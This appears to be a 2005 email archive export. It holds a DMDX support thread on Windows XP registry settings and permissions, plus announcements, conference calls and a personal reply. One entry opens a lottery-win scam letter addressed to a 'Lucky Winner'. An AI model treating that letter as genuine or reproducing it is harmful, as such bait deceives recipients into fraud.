help. > >I've found that I need to give everybody permissions to the registry DMDX >and TimeDX keys, write permissions to the DMDX program directory and am >trying to get a working set of defaults to copy into the per user (current >user) settings. DMDX tries to access the HKLM tree of the registry for all keys, if it can't get the permissions it needs it then tries the HKLU branch. There's one HKLM (the local machine) and there's a HKLU (local user) branch per user. So by default you shouldn't have to do any tinkering with registry permissions as long as you're using a really recent version of DMDX (as I fixed some detail to do with this a short while ago). Theoretically you should be able to set things up for the administrator and then the less privileged users won't be able to change those things if you don't give them permissions to run TimeDX but should be able to save settings on a per user basis. Only stuff in addition to the changes in the code for registry keys is that I've had to do is to give write permissions to everyone so DMDX can create it's intermediate files in / Program Files / DMDX. Guess one day I'll change the code to try a different location for those if it fails to get write access too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ So, what's with this guy Gideon, anyway? And why can't he ever remember his Bible? ",0,0 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Tue, 19 Jul 2005 15:10:48 +1000",[DMDX] Re: DMDX setup for default user ? (Win XP Pro),"jonathan, Very interesting and possibly very useful. Is the structure of the of the DMDX and TimeDX entries in HKLM\\Software and HKLU\\Software supposed to be or normally the same? I am thinking that it may be possible to just copy the HKLU\\Software DMDX and TimeDX sections to HL_Users\\.Default as a way of setting up the default user. Up to now I had assumed that the HKLM entry was the most important as I have not seen the HKLU\\Software entries getting much stored in them. This is probably because I normally have DMDX run under a user with administrator rights (what I am avoiding this time). Am I right that the entries dont actually store any timing information? Its just video and audio mode details. Thanks - I know you are busy but please keep the information flowing, I feel I'm getting somewhere. Peter At 11:59 AM 19/07/2005, you wrote: >At 10:54 AM 7/19/2005 +1000, you wrote: >>jonathan, >> I'm not going to be able to setup for each user, we run classes >> with 100+ students over a week. In the past we have setup a single >> ""DMDX user"" that they all used but we found that things go wrong when >> ""helpful"" students change things. I had wanted a setup that I could >> apply as the ""default user"" so each time a student logs in they get a >> new copy. If you dont think this is possible then maybe we will have to >> us the ""EZ"" mode. I have till Thursday to work on this, if you can make >> any suggestions it would be a great help. >> >>I've found that I need to give everybody permissions to the registry DMDX >>and TimeDX keys, write permissions to the DMDX program directory and am >>trying to get a working set of defaults to copy into the per user >>(current user) settings. > > DMDX tries to access the HKLM tree of the registry for all keys, if it > can't get the permissions it needs it then tries the HKLU > branch. There's one HKLM (the local machine) and there's a HKLU (local > user) branch per user. So by default you shouldn't have to do any > tinkering with registry permissions as long as you're using a really > recent version of DMDX (as I fixed some detail to do with this a short > while ago). Theoretically you should be able to set things up for the > administrator and then the less privileged users won't be able to change > those things if you don't give them permissions to run TimeDX but should > be able to save settings on a per user basis. > > Only stuff in addition to the changes in the code for registry keys is > that I've had to do is to give write permissions to everyone so DMDX can > create it's intermediate files in / Program Files / DMDX. Guess one day > I'll change the code to try a different location for those if it fails to > get write access too. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >So, what's with this guy Gideon, anyway? And why can't he ever >remember his Bible? > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Jul 2005 09:20:00 -0700",[DMDX] Re: DMDX setup for default user ? (Win XP Pro),"At 03:10 PM 7/19/2005 +1000, you wrote: >jonathan, > Very interesting and possibly very useful. Is the structure of > the of the DMDX and TimeDX entries in HKLM\\Software and HKLU\\Software > supposed to be or normally the same? No. > I am thinking that it may be possible to just copy the HKLU\\Software > DMDX and TimeDX sections to HL_Users\\.Default as a way of setting up the > default user. Might work. >Up to now I had assumed that the HKLM entry was the most important as I >have not seen the HKLU\\Software entries getting much stored in them. The original code used HKLM, nowadays with actual user privileges and HKLM becoming an administrative branch HKLU gets checked incase HKLM won't work. > This is probably because I normally have DMDX run under a user with > administrator rights (what I am avoiding this time). > >Am I right that the entries dont actually store any timing information? They could store timing information, it all depends on what was done by the privileged users. Whatever they didn't do will be duplicated in HKLU for the non-privileged users. At 05:41 PM 7/19/2005 +1000, you wrote: >jonathan > I have one issue I hope you can put some light on. I have a > setup that works for default user but when I run DMDX (or TimeDX) I get a > very very slow response and then a message > >Retrace Thread did not self terminate > >(in both DMDX and TimeDX) >If I put the user in the local administrators group the problem goes away. > >Can you suggest anything? > >I'm using DMDX 3.1.4.0 >I can send you the Reg patch and other details I am using if it would help. Interesting. It's not something to be concerned about other than tests taking longer to finish in TimeDX and DMDX taking longer to terminate a job. The code normally asks the Retrace Thread to politely die after it's no longer needed, if it doesn't do it after a second it kills the thread and posts the error you see. It's one of those error messages that I never expect to see but it crops up from time to time and I've never been able to discern why it might occur. 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Aurolac Blues will be performed as part of Here Art Center�s The American Living Room on a shared bill with Fernando Maneca's Drinking the Kool-Aid. Performances are on July 25 and 26 at 8:30PM At Here Arts Center 145 Sixth Avenue (between Spring & Broome Street) Entrance is on Dominick Street Subway: C/E to Spring St.; 1 to Houston St. Bus: M21 to Houston St.; M6 to Spring St. Tickets: $15; box office is open from 4:00 till showtime For Tickets call SmartTix at 212-868-4444 or order online at www.smarttix.com. For more information about the The American Living Room Festival call 212-647-0206 or visit www.here.org. Synopsis: Elvis and Madona, the two characters of Romanian author Saviana Stanescu�s ten-minute play Aurolac Blues, talk about their lives in the streets of Bucharest, their nights in the shelter, and their sneaking into movie screenings, while passing back and forth a plastic bag with Aurolac (silver paint). America is a constant in their conversation, and Elvis tells his dream of becoming a vampire and fly to America. Ultimately, Aurolac enables him in transforming his body; but will he fly to his America? This short play captures in a few moments the widespread diffusion of American pop culture while focusing on the desolate lives of an eight and a nine year-old street kid, who utter everyone�s somewhat na�ve image of America. The simple, straightforward dialogue provides room for reflections about our expectations of life, and even though Elvis�s transformation at the end is dramatic, strangely the play remains nondramatic. No revelation or solution marks this short play, but instead it gives a transient glimpse into another person�s dream of America. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Jul 2005 17:04:26 -0700",[DMDX] Re: DMDX setup for default user ? (Win XP Pro),"At 09:44 AM 7/20/2005 +1000, you wrote: >I dont think I was clear. This is a problem as DMDX is not working. If I >start DMDX and run a syntax check it takes minutes instead of the normal >sub second. The syntax check processes a line about every 10 seconds and >displays the ""Retrace Thread"" error at the end. Yeah, the retrace thread gets killed at the end of the syntax check just like it would be killed at the end of a subject run. > If I run the DMDX file (below) I get a blank screen with the mouse > pointer then after about a minute just a blank screen for over 10 > minutes. I've never tried the whole item as I assume its died. When I > try and break out (escape) it takes minutes for it to respond and > sometimes the only thing that works is Ctrl-Alt-Del. I have seen it come > up with some items but I could not say how long but a very long time, > nothing like the required rate of one every 3 second. Sounds like something is going wrong and given the Retrace Threads lack of response it's reasonable to assume it's there. >I have noticed that the task manage thinks CPU usage is 100% and moving >the user into the local administrator group allows it to work as expected, >moving them back to limited user breaks it again. I'm not able to get >TimeDX to produce the error right now but the retrace test says: >Registry key SOFTWARE\\TimeDX\\3\\1\\0\\ Primary Display >Driver\\800x600(600)_16bpp_0Hz >Sleep time 13, TimeOut value 16.876, Max Lines to Blit 600, Refresh >interval 16.576 All good values. >Enhanced Retrace gives >3% timed out retraces, Multiple misses 2%, Certain errors 2.31% > >Its a short task I just had 'lying around' that I have been using as a >test, please dont tell me its something about my task. > >> N4 >255255255> >>0 <%ms 500> ""Test 1"" ; >>0 ""Press SPACEBAR to start""; >>+1 <%ms 500> ""+"" / >+#205> *""Rabies""/; >>+2 <%ms 500> ""+"" / >+#205> *""Dog""/; >>+3 <%ms 500> ""+"" / >+#205> *""Cat""/; >>+4 <%ms 500> ""+"" /< wc 255255000 > >> *""Bite""/; >>0 ""The end. Thank you for taking part.""; Other than the fact that key mappings stay active once made so there's no need for repeated and keywords that looks fine. Perhaps your video drivers are allergic to non-privileged user requests. I take it EZ mode doesn't suffer from the sluggishness? I'd be looking at new video drivers as DMDX has certainly been run in less privileged environments before and I sure can't think of anything to do with privilege level that would slow DMDX down. Stop it working outright, yes, but slow, you're into the wild blue yonder there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What makes the universe so hard to comprehend is that there's nothing to compare it with.",0,0 Sheri Thompson ,Sheri Thompson ,"Tue, 19 Jul 2005 17:03:17 -0500",US Disaster Team Responds to Floods in Romania,"NEWS RELEASE For Immediate Release NOAH'S WISH < Contact Person: Terri Crisp - Director < P.O. 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Noah's Wish has a wealth of experience and we need to be in Romania using it to save the lives of animals and people."" At the latest report, 31 dams and an even greater number of levees have been destroyed, leaving few remaining structures in place to hold back the water. More rain is predicted in the upcoming week, which will cause additional flooding. This is even more reason why Noah's Wish needs to respond quickly. Noah's Wish sent a 4 member team to Sri Lanka in January 2005 to assist animals caught in one of the most devastating tsunamis in history. For two weeks the team worked with local animal organizations and veterinarians to vaccinate dogs and cats against rabies. This was done to prevent an outbreak of rabies which would have resulted in the government launching a program to eradicate domesticated animals. As of May 1, over 14,000 animals had been vaccinated. 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(Win XP Pro) - ANSWER,"DMDX and Jonathan, I have to publicly thank Jonathan for his help with this problem. I now have a solution, I think it can be improved but it works. The ""Retrace Thread"" problem was of my own making. The default user settings I was using appear to have been the fault and I have modified them and they now work (if the user is in the Power Users group). The settings I have for the current user are below. If you save them as a .REG file and install them once the user has logged in you dont need to run TimeDX. You can also install them as the Default User settings but I have had some problems with Win XP pro SP2 and suggest caution. You do need to open up the permissions on the DMDX program files directory (users need write). --------------------------------------------------------------------- Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\DMDX] [HKEY_CURRENT_USER\\Software\\DMDX\\3] [HKEY_CURRENT_USER\\Software\\DMDX\\3\\LastUsedItemFile] [HKEY_CURRENT_USER\\Software\\TimeDX] [HKEY_CURRENT_USER\\Software\\TimeDX\\3] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver\\800x600(600)_16bpp_0Hz] @=""13 16.876 600 16.576"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Capture_Driver] @=""Primary Sound Capture Driver"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Last_TimeDX_Videomode] @=""800 600 600 16 0"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Sound_Driver] @=""Primary Sound Driver"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Video_Driver] @=""0 Primary Display Driver"" ---------------------------------------------------------------------- The problem appears to have been fixed by the line [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver\\800x600(600)_16bpp_0Hz] @=""13 16.876 600 16.576"" that was initially [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver\\800x600(600)_16bpp_0Hz] @=""-3 0.300 600 0.000"" -note the refresh time is now included. Peter At 10:04 AM 20/07/2005, you wrote: >At 09:44 AM 7/20/2005 +1000, you wrote: > >>I dont think I was clear. This is a problem as DMDX is not working. If >>I start DMDX and run a syntax check it takes minutes instead of the >>normal sub second. The syntax check processes a line about every 10 >>seconds and displays the ""Retrace Thread"" error at the end. > > Yeah, the retrace thread gets killed at the end of the syntax check > just like it would be killed at the end of a subject run. > >> If I run the DMDX file (below) I get a blank screen with the mouse >> pointer then after about a minute just a blank screen for over 10 >> minutes. I've never tried the whole item as I assume its died. When I >> try and break out (escape) it takes minutes for it to respond and >> sometimes the only thing that works is Ctrl-Alt-Del. I have seen it >> come up with some items but I could not say how long but a very long >> time, nothing like the required rate of one every 3 second. > > Sounds like something is going wrong and given the Retrace Threads lack > of response it's reasonable to assume it's there. > > >>I have noticed that the task manage thinks CPU usage is 100% and moving >>the user into the local administrator group allows it to work as >>expected, moving them back to limited user breaks it again. I'm not able >>to get TimeDX to produce the error right now but the retrace test says: >>Registry key SOFTWARE\\TimeDX\\3\\1\\0\\ Primary Display >>Driver\\800x600(600)_16bpp_0Hz >>Sleep time 13, TimeOut value 16.876, Max Lines to Blit 600, Refresh >>interval 16.576 > > All good values. > >>Enhanced Retrace gives >>3% timed out retraces, Multiple misses 2%, Certain errors 2.31% >> >>Its a short task I just had 'lying around' that I have been using as a >>test, please dont tell me its something about my task. >> >>> N4 >>255255255> >>>0 <%ms 500> ""Test 1"" ; >>>0 ""Press SPACEBAR to start""; >>>+1 <%ms 500> ""+"" / >>> *""Rabies""/; >>>+2 <%ms 500> ""+"" / >>> *""Dog""/; >>>+3 <%ms 500> ""+"" / >>> *""Cat""/; >>>+4 <%ms 500> ""+"" /< wc 255255000 > >>> *""Bite""/; >>>0 ""The end. Thank you for taking part.""; > > Other than the fact that key mappings stay active once made so there's > no need for repeated and keywords that looks fine. > > Perhaps your video drivers are allergic to non-privileged user > requests. I take it EZ mode doesn't suffer from the sluggishness? I'd > be looking at new video drivers as DMDX has certainly been run in less > privileged environments before and I sure can't think of anything to do > with privilege level that would slow DMDX down. Stop it working > outright, yes, but slow, you're into the wild blue yonder there. > > > /""\\ > -jonathan (j.c.f.) \\ / > X",0,0 INTERNATIONAL PRIZE AWARD DEPARTMENT ,WINNER ,"Tue, 19 Jul 2005 09:13:12 +1100",CONGRATULATIONS YOU HAVE WON,"FROM THE DESK OF THE DIRECTOR INTERNATIONAL PRIZE AWARD DEPT Attn: Lucky Winner, WINNING NOTIFICATION FOR CATEGORY ""A"" WINNER ONLY We are pleased to inform you of the result of the last final annual draw of our Lottery International Programs. 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(Win XP Pro) - ANSWER,"At 11:58 AM 7/20/2005 +1000, you wrote: >The problem appears to have been fixed by the line >[HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display >Driver\\800x600(600)_16bpp_0Hz] >@=""13 16.876 600 16.576"" >that was initially >[HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display >Driver\\800x600(600)_16bpp_0Hz] >@=""-3 0.300 600 0.000"" > >-note the refresh time is now included. Yeah, that would certainly do it. Not to mention a negative sleep time... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The way to love anything is to realize that it might be lost. ",0,0 Peter Hertling ,"cca-list@fernuni-hagen.de, COMP-THY@LISTSERV.ND.EDU, fom@cs.nyu.edu, comprox@doc.ic.ac.uk, reliable_computing@interval.louisiana.edu, na.digest@na-net.ornl.gov, THEORYNT@LISTSERV.NODAK.EDU","Wed, 20 Jul 2005 14:28:48 +0200",CCA 2005: Call for Participation,"________________________________________________________________ Call for Participation ________________________________________________________________ C C A 2 0 0 5 Second International Conference on Computability and Complexity in Analysis August 25-29, 2005, Kyoto, Japan 25-26: Satellite seminars 27-29: Main conference http://cca-net.de/cca2005 ________________________________________________________________ Program The program can be found on the webpage of the conference: http://cca-net.de/cca2005/cca2005-program.pdf Registration If you wish to participate in the main conference, please register until August 2, 2005, via http://www.i.h.kyoto-u.ac.jp/cca2005/ No registration is required for visiting the satellite seminars. Invited talks 1. Vasco Brattka (Cape Town, South Africa) Some Aspects of Computable Functional Analysis 2. Masami Hagiya (Tokyo, Japan) Molecular Computing and Real Number Computing 3. Daisuke Takahashi (Waseda, Japan) Low Temperature Limit of Equations - Hidden Discrete Structure Contributed talks 1. Yohji Akama and Shinji Iizuka Real Number Representations of Graph-Directed IFS Attractors 2. Andrej Bauer and Paul Taylor The Dedekind Reals in Abstract Stone Duality 3. Douglas Bridges, Robin Havea, and Peter Schuster: Ideals in Constructive Banach Algebra Theory 4. Douglas Bridges and Luminita Vita An Extension Theorem for Ultraweakly Continuous Linear Functionals on B(X,Y) 5. Douglas Bridges and Luminita Vita Proximal onnectedness 6. Santiago Figueira, Frank Stephan, and Guohua Wu: Randomness and Universal Machines 7. Tanja Grubba and Klaus Weihrauch A Computable Version of Dini's Theorem for Topological Spaces 8. Peter Hertling A Sequentially Computable Function that is not Effectively Continuous at any Point 9. Hiroyasu Kamo Computability and Computable Uniqueness of Urysohn's Universal Metric Space 10. Tien D. Kieu Mathematical Computability Questions for some Classes of Linear and Non-Linear Differential Equations Originated from Hilbert's Tenth Problem 11. Branimir Lambov RealLib: an Efficient Implementation of Exact Real Arithmetic 12. Takakazu Mori, Yoshiki Tsujii, and Mariko Yasugi Fine Computable Functions and Effective Fine Convergence 13. Robert Rettinger and Xizhong Zheng: A Hierarchy of Turing Degrees for Divergence Bounded Computable Real Numbers 14. Matthias Schröder and Alex Simpson Representing Probability Measures using Probabilistic Processes 15. Paul Taylor A Lambda Calculus for Real Analysis 16. Klaus Weihrauch Multi-Functions on Multi-Represented Sets are Closed under Flowchart Programming 17. Mariko Yasugi, Takakazu Mori, and Yoshiki Tsujii Effective Sequence of Uniformities and its Effective Limit 18. Satoru Yoshida Generalized Functions with Pseudobounded Support in Constructive Mathematics 19. Fuxiang Yu, Arthur Chou, and Ker-I Ko On the Complexity of Finding Circumscribed Rectangles for a Two-Dimensional Domain 20. Martin Ziegler Effectively Open Real Functions Satellite Seminars: Before the main conference there will be satellite seminars that will consist of introductory lectures to CCA and related areas: 1. Andrej Bauer Realizability as Connection between Constructive and Computable Mathematics 2. Martín Escardó Compactness in Topology and Computation 3. Peter Hertling Computable Analysis via Representations 4. Norbert Müller Implementing Exact Real Numbers Efficiently 5. Hideyuki Suzuki Computation in Neural Systems 6. Mariko Yasugi, Atsushi Yoshikawa Computable Versions of Basic Theorems in Functional Analysis Scientific Program Committee: Vasco Brattka (Cape Town, South Africa) Peter Hertling, chair (Munich, Germany) Hajime Ishihara (Ishikawa, Japan) Iraj Kalantari (Macomb, USA) Ker-I Ko (Stony Brook, USA) Vladik Kreinovich (El Paso, USA) Jack H. Lutz (Ames, USA) Joseph S. Miller (Bloomington, USA) Robert Rettinger (Hagen, Germany) Matthias Schröder (Edinburgh, Scotland) Alex Simpson (Edinburgh, Scotland) Klaus Weihrauch (Hagen, Germany) Atsushi Yoshikawa (Kyushu, Japan) Xizhong Zheng (Cottbus, Germany) Ning Zhong (Cincinnati, USA) Martin Ziegler (Odense, Denmark) Organizing Committee Hiroyasu Kamo (Nara, Japan) Takakazu Mori (Kyoto, Japan) Izumi Takeuti (Toho, Japan) Hideki Tsuiki, chair (Kyoto, Japan) Yoshiki Tsujii (Kyoto, Japan) Mariko Yasugi (Kyoto, Japan) Support The conference is supported by the Graduate School of Human and Environmental Studies, Kyoto University. ________________________________________________________________ ",0,1 Milad Niqui ,"cca-list@fernuni-hagen.de, comprox@doc.ic.ac.uk, gmp-discuss@swox.com, ipalist@listserver.tue.nl, Map@mozart.ujf-grenoble.fr, na.digest@na-net.ornl.gov, reliable_computing@interval.louisiana.edu, types@lists.chalmers.se","Fri, 15 Jul 2005 20:57:26 +0200","""Many Digits"" Friendly Competition 2005 : Call for Participation","THE ""MANY DIGITS"" FRIENDLY COMPETITION 2005 4 October 2005 Radboud University, Nijmegen, The Netherlands Call For Participation In the Institute for Computing and Information Sciences at Radboud University Nijmegen we will organise a friendly competition/benchmark session for investigating the state of the art in the various implementations of exact real arithmetic. The event will be held on October 4th 2005, in conjunction with the Small TYPES workshop on Constructive analysis, types and exact real numbers . The event will be akin to those held in CCA00 and CCA2002 . All the interactive software packages capable of handling arbitrary precision arithmetic on elementary functions are invited to participate. Moreover all libraries for handling arbitrary precision arithmetic in any programming language are welcome to participate provided that the participant writes a suitable interface/program. The participants can choose to attend the event at Nijmegen, or they can choose to participate remotely via Internet. Friendly Competition The friendly competition consists of giving a solution to a set of problems that are posed by the organisers shortly (few hours) before the event. The problems cover the minimum abilities of a system capable of handling the elementary real functions and are expected to ask for a large (>=10,000) number of digits. An example of a problem that might be in this set is to calculate the first 10,000 digits of sin(sin(1)). A set of `practice problems' can be found on the website of the competition . The solutions consist of the input needed to generate the answers to the problems plus the answers themselves. The competition criteria will be the accuracy (correctness) of the solution and the time needed for producing the solution. Apart from this, we will also compare the other aspects of the solutions (such as memory usage and readability and length of the input code) to give a better comparison. On the day of the competition the solutions will be executed by participants on one specific machine at the event site, under either Debian/GNU Linux or Windows XP. A more detailed description of the setup and format of the competition can be found on the website of the competition . The outcome of this friendly competition is expected to give a comparison in performance of the systems that chose to participate for the selected problems. Remote Participation In case of remote participation, the participants will receive the set of problems by email. Then they will be given the opportunity to log into our local machine and perform their solution. Systems, Packages and Libraries Those who wish to participate in the Friendly Competition are expected to provide the software necessary for their solutions, so it can be run on the machine used for the competition. Schedule * August 26th deadline for registering for the competition * August 29th final list of registered participants on the web * September 23rd timings of the practice problems for the registered participants posted on the web * October 4th competition Registration If you are interested in participating in the event we will be happy to hear from you: 1.Team name, name and email of contact person(s) and the platform your system needs to run (GNU Linux or Windows XP). 2.Whether you plan to come to the meeting or whether you would like to participate remotely. We would prefer that participants (especially those whose system requires Windows) to send their intention to participate before August 26th, 2005. Please register by sending mail to . Best Regards, Local Organisers: Milad Niqui and Freek Wiedijk",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Tue, 12 Jul 2005 14:08:42 -0500",LAA special issue," LINEAR ALGEBRA AND ITS APPLICATIONS Special Issue in honor of Paul Fuhrmann Linear Algebra and its Applications is pleased to announce a special issue in honor of Professor Paul Fuhrmann on the occasion of his 70th birthday on 5 August 2007 in recognition of his many important and fundamental contributions to linear algebra and control theory. We solicit papers for the special issue within the entire scope of LAA or the research interests of Paul Fuhrmann. We welcome papers within system and control theory and operator theory; in particular in * algebraic systems theory * approximation, identification and interpolation * behavioral theory * coding theory with relations to systems theory * functional models * geometric control * hybrid and discrete event systems * matrix-valued and operator-valued functions * model reduction * multidimensional systems * numerical and computational aspects * operators, systems, and linear algebra * polynomial methods in systems theory * robust and optimal control * spectral factorizations * stability theory * system structure * uncertain systems * Wiener-Hopf factorizations The deadline for submission of papers is 31 March 2006. Papers for submission should be sent to any of the five special editors, preferably pdf files as attachments in email, and will be subject to normal refereeing procedures according to LAA standards: Athanasios C. Antoulas. Department of Electrical & Computer Engineering Rice University P.O. Box 1892 - MS 380 Houston, Texas 77251-1892, USA aca@rice.edu Uwe Helmke Department of Mathmematics University of Wuerzburg Am Hubland 97074 Wuerzburg, Germany helmke@mathematik.uni-wuerzburg.de Joachim Rosenthal Mathematics Institute University of Zurich Winterthurerstr 190 CH-8057 Zurich, Switzerland rosenthal@math.unizh.ch Victor Vinnikov Department of Mathematics Ben Gurion University of the Negev 84105 Beer-Sheva, Israel vinnikov@math.bgu.ac.il Eva Zerz Department of Mathematics University of Kaiserslautern Erwin-Schroedinger-Str. 48 67663 Kaiserslautern, Germany zerz@mathematik.uni-kl.de The editor-in-chief responsible for this special issue is Hans Schneider. ",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 18 Jul 2005 15:45:55 -0600",FW: Intech 2005 Call for Papers : Extend full paper submission deadline ,"FYI. Vladik The organizers have always welcomed interval-related papers. ________________________________ From: intech@scitech.au.edu [mailto:intech@scitech.au.edu] /******************************************************************************************** Extend: Full paper submission deadline July 31st, 2005 ********************************************************************************************/ Call For Papers The Sixth International Conference on Intelligent Technologies ( InTech'05) Venue: Phuket, Thailand December 14th - 16th, 2005 Organized by: Assumption University, Thailand General chair: Pratit Santiprabhob (Thailand) Publicity Co-chairs : Vilasinee Srisarkun (Thailand), Dan Ralescu (USA) Honorary General Chairs: Supavadee Nontakao (Thailand), Hung T Nguyen (USA) Organizing Committee chair : Thotsapon Sortrakul (Thailand) International Program Committee Co-Chairs: Jirapun Daengdej (Thailand), Vladik Kreinovich (USA) Technical Chair : Thitipong Tanprasert (Thailand) International Committee: Atonio Dinola (Italy), Baoding Liu (China), Berlin Wu (Taiwan), Bernadette Bouchon-Meunier (France), Carol Walker (USA), Claude Langrand (France), CW Tao (Taiwan), Dan Ralescu (USA), Elbert Walker (USA), Fred Hadaegh (USA), Hepu Deng (Australia), Hung T. Nguyen (USA), K.Hirota (Japan), Liya Ding (Macau), Maria Angeles Gill (Spain), Michel Grabisch (France), Michio Sugeno (Japan), Nipon Auephanwiriyakul (Thailand), Peter Klement (Austria), Richard Alo (USA), Ron Yager (USA), Shoumei Li (China), Sohrab Mobasser (USA), Sompong hompongsa (Thailand), Sansanee Auephanwiriyakul (Thailand), Tim Ross (USA) Vilem Novak (Czeck Republic) Vladik Kreinovich (US), Yeung Yam (Hongkong) InTech'05 Programme InTech'05 will comprise of plenary sessions, oral and poster presentations, exhibitions and excursions. The events will open to all participants. The main objectives of the conference are: * Bring together researchers and practitioners in order to exchange their ideas and discuss issues occurred when implementing intelligent and fuzzy technologies in real-world environment. * Provide a forum for discussion of new research areas, results and issues. * Encourage international researches in intelligent and fuzzy technologies. Topics of InTech'05 include but not limited to: * Mathematical Foundations of Intelligent Technologies * Traditional Artificial Intelligent Techniques * Uncertainty Processing and Methods of Soft Computing * Learning/Adaptive Systems/Data Mining * Applications of Intelligent Technologies * Intelligent Data Analysis * Control and Decision Science A special event at InTech'05 : Professor Michio SUGENO will be honored for his pioneering and fundamental works in Fuzzy Theory and Its Applications at InTech'05. Proceedings: Proceedings will be distributed to participants during the conference. Selected, extended and revised papers from InTech'05 will be published in a Special issue of the International Journal of Advanced Computational Intelligence and that of the Pacific Journal on Intelligent Technologies and Applied Statistics. Paper Submissions: Papers related to both theoretical and real-world applications in the areas listed above are welcome. The maximum number of pages is 10 pages including all tables, figures and references. Over-length and late submission papers will be rejected without review. Conference Fees: By Sep. 6, 2005 (Early-bird Registration): 250 USD (General Participant), 150 USD (Student), 100 USD (Guest) Ater Sep. 6, 2005 - Dec. 2,2005 (Regular Registration): 300 USD (General Participant), 200 USD (Student), 150 USD (Guest) On Site Registration: 400 USD (General Participant), 300 USD (Student), 250 USD (Guest) Important Dates: Full paper submission deadline July 31st, 2005 Acceptance notification August 29th, 2005 Camera-ready deadline October 3rd, 2005 Early-bird registration deadline September 6th, 2005 Proceedings: Faculty of Science and Technology Assumption University Hua Mak, Bangkapi Bangkok, 10240, Thailand Tel: +66 2719 1515, Fax: +66 2719 1639 URL: http://www.intech.scitech.au.edu E-mail: intech@scitech.au.edu. Phuket Overview: An island of contrasts, Phuket has much to offer its visitors. White sandy beaches abound the west coast and mangrove lined shores, the east. A range of hills runs down her back from north to south, dividing the island in half. Waterfalls, especially in the 'wet' season spill into rock pools, scattered down the slopes. In the distance, islands rear out of the Andaman Sea, waiting to be explored. For more information, please visit: www.clubandaman.com ",0,1 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Mon, 18 Jul 2005 15:51:03 -0600",my email,"Dear Friends, We have had trouble with cs.utep.edu emails. My new email is vladik@utep.edu Most emails sent to my previous email vladik@cs.utep.edu have been forwarded to me, but some may have been lost. The mailing list interval@cs.utep.edu is not functioning right now, the system administrator is working on it, we may have to move it to a new server. My apologies for the inconvenience. Vladik ",0,0 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Mon, 18 Jul 2005 21:28:27 -0600",,"Dear Friends, I have just learned that Professor G. Randy Keller from the Department of Geological Sciences of the University of Texas at El Paso has been elected a Foreign Member of the Polish Academy of Sciences. In his geophysical research, Professor Keller has used interval techniques. His paper ""Eliminating Duplicates Under Interval and Fuzzy Uncertainty: An Asymptotically Optimal Algorithm and Its Geospatial Applications"" appeared in Kluwer-published international journal Reliable Computing (2004, Vol. 10, No. 5, pp. 401-422). He co-authored several interval-related papers in the conference proceedings, including the proceedings of the 2004 NSF Conference on Reliable Engineering Computing in Savannah, Georgia. Congratulations to Randy Keller! Vladik ",0,0 Holly Robertson ,Melanie Cofield ,"Wed, 20 Jul 2005 18:41:16 -0400",Re: permission to archive,"Dearest Melanie, Permission granted, sucker! Don't you let me not hear from your redneck ass for months and then send me a non-personalized email! Take that copyright agreement and file it, (I kid, I kid) Holly On Jul 20, 2005, at 6:26 PM, Melanie Cofield wrote: > > > Greetings former iSchool IT Lab purple-shirt, > > I\\355m currently working on a digital archives project for my graduate > coursework > in the School of Information. I would like to archive the tutorial > materials > you created during your time here as IT Lab staff. Myself, Dr. Pat > Galloway, > and the Instructional Technology Services staff here consider these > digital > learning objects to be valuable in both the short and long term, > for a variety > of reasons, making them ideal materials for developing an > institutional digital > repository. > > In order to archive the tutorial materials you authored, which are > currently > linked from the School of Information Tutorials Web page at > http://www.ischool.utexas.edu/technology/tutorials/browse.php, I > need to secure > your permission, or at least an indication of your intention to > grant such > permission. > > Recently, the Instructional Technology Services staff developed a > copyright > license agreement, which provides permission to use tutorial > materials for > projects like mine. Please read the copyright agreement text > below, and reply > to this email stating your agreement or disagreement with the terms. > Alternatively, you may print out the attached copyright agreement > document, > fill it out, sign it, and fax it to the iSchool at 471-3971, marked > \\354attention: > Melanie Cofield, IT Lab.\\356 > > Feel free to contact me with any questions or concerns you may have. > > Thanks for your time, > > -Melanie > > Melanie Cofield > IT Lab Staff & MSIS Candidate > The University of Texas at Austin > School of Information > 512-471-3991 > > > > > This agreement is made between the University of Texas at Austin > (""University"") > and _______________________ (""author""). > > > > This agreement acknowledges that the author, above, holds copyright > to all > parts > original to the author in the educational materials that the author > created > while working at the University of Texas at Austin School of > Information. > > > > For these works, the author grants the University a non-exclusive > right to use > the work for any purpose, including the creation of derivative > works, in > perpetuity. > > > > This agreement was signed this ______ day of > __________________________ , > 20___. > > > > The University of Texas at 